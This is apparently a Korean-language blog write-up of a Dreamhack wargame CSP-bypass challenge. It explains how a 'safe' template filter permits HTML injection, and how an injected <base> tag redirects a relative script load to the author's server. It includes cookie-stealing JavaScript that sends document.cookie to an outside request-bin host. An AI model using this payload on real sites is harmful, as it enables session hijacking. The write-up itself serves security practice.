https://dreamhack.io/wargame/challenges/436
CSP Bypass 문제보다 보안이 강화된 버전이다.
해당 문제를 풀 때 꽤 애먹었는데 이유는 아직 못 찾았다. 마지막에 페이로드를 삽입하는 과정에서 이유모를 에러가 있었다.
어쨌든 문제를 풀어보겠다.
CSP 설정은 저번 문제와 별반 다르지 않기 때문에 넘어가겠다.
페이지의 차이로는 취약한 /vuln 페이지에 헤더가 생겨서 /vuln?param=alert(1)가 먹히지 않는다. 이전 문제는 /vuln 페이지에 대한 HTML 파일도 존재하지 않았고 입력 값을 그대로 화면에 출력했으니 가능했던 것이다.

그래도 /vuln 페이지에 HTML 파일을 보면 safe 필터가 있다. 이는 HTML 태그를 허용해주는 옵션이다. 이 설정이 없으면 “<” 기호는 “<“로, “>“기호는 “>“으로 바뀌기 때문에 XSS로부터 안전하다. 설정을 했기에 취약한 것이다.

왜 위험한지 예시를 보여주겠다. “/vuln 페이지에 safe 필터 설정으로 HTML 태그를 사용할 수 있다.” 아래 사진과 같이 HTML 태그를 사용할 수 있으니 iframe으로 창을 하나 더 만들어서 /memo 페이지를 보여주는 예시이다. safe 필터가 없었다면 화면에 단지 <iframe src="/memo?memo=태그 실행"></iframe> 만 출력했을 것이다.

이 취약점과 연계할 다른 설정은 모든 페이지마다 헤더를 담당하는 “base.html”에서 자바스크립트 파일을 상대 경로로 load 한다.

script-src의 self와 nonce로 자바스크립트를 어떻게 사용할까 생각했지만 “HTML 태그 삽입 가능 + 자바스크립트 상대 경로 로드” 이 두 설정으로 자바스크립트를 사용할 수 있게 됐다.
HTML 태그 중 <base> 태그로 상대 경로의 기준을 내 개인 서버로 변경하고 자바스크립트를 로드하는 “/static/js/jquery.min.js” 파일에 내가 원하는 코드를 작성하면 웹 봇은 <base> 태그로 인해 상대 경로의 기준을 내 개인 서버로 정하고 내 개인 서버에 저장된 자바스크립트 코드를 로드할 것이다. 그러면 인라인 코드가 아니라서 nonce에 걸리지 않으며, 경로의 기준은 내 개인 서버기 때문에 불러오는 자바스크립트를 자신의 경로만 허용하는 self도 만족하는 것이다.
우선, 접근 가능한 서버를 구동해야 한다. 이유 모를 원인으로 내 아이피는 웹 봇이 계속 거절하여 3시간 넘게 삽질하다가 AWS 인스턴스의 퍼블릭 IPv4 주소로 해결했다. 인스턴스는 외부에서 접속해야 하니 포트를 열어줘야 한다.


인스턴스에서 “/static/js/” 경로를 생성하고, “jquery.min.js” 파일을 생성한다. 해당 자바스크립트 파일에는 쿠키 값을 탈취할 수 있는 코드를 삽입한다.
location.href="http://127.0.0.1:8000/memo?memo=".concat(document.cookie)
https://tools.dreamhack.games/main
이번엔 드림핵툴즈에서 Request Bin으로 쿠키 값을 받고 싶으니 아래의 코드를 삽입했다.
location.href="https://eyqgsap.request.dreamhack.games?flag=".concat(document.cookie)
이제 static 디렉터리가 있는 경로에서 파이썬 서버를 실행한다.
python3 -m http.server 80

이제 워게임 서버의 /flag 페이지에 아래의 코드를 삽입하면 된다. <base> 태그를 이용해 상대 경로의 기준을 내 서버로 설정하는 코드다.
<base href="http://54.180.201.123/">
코드를 삽입하고 제출하면 플래그를 획득할 수 있다.

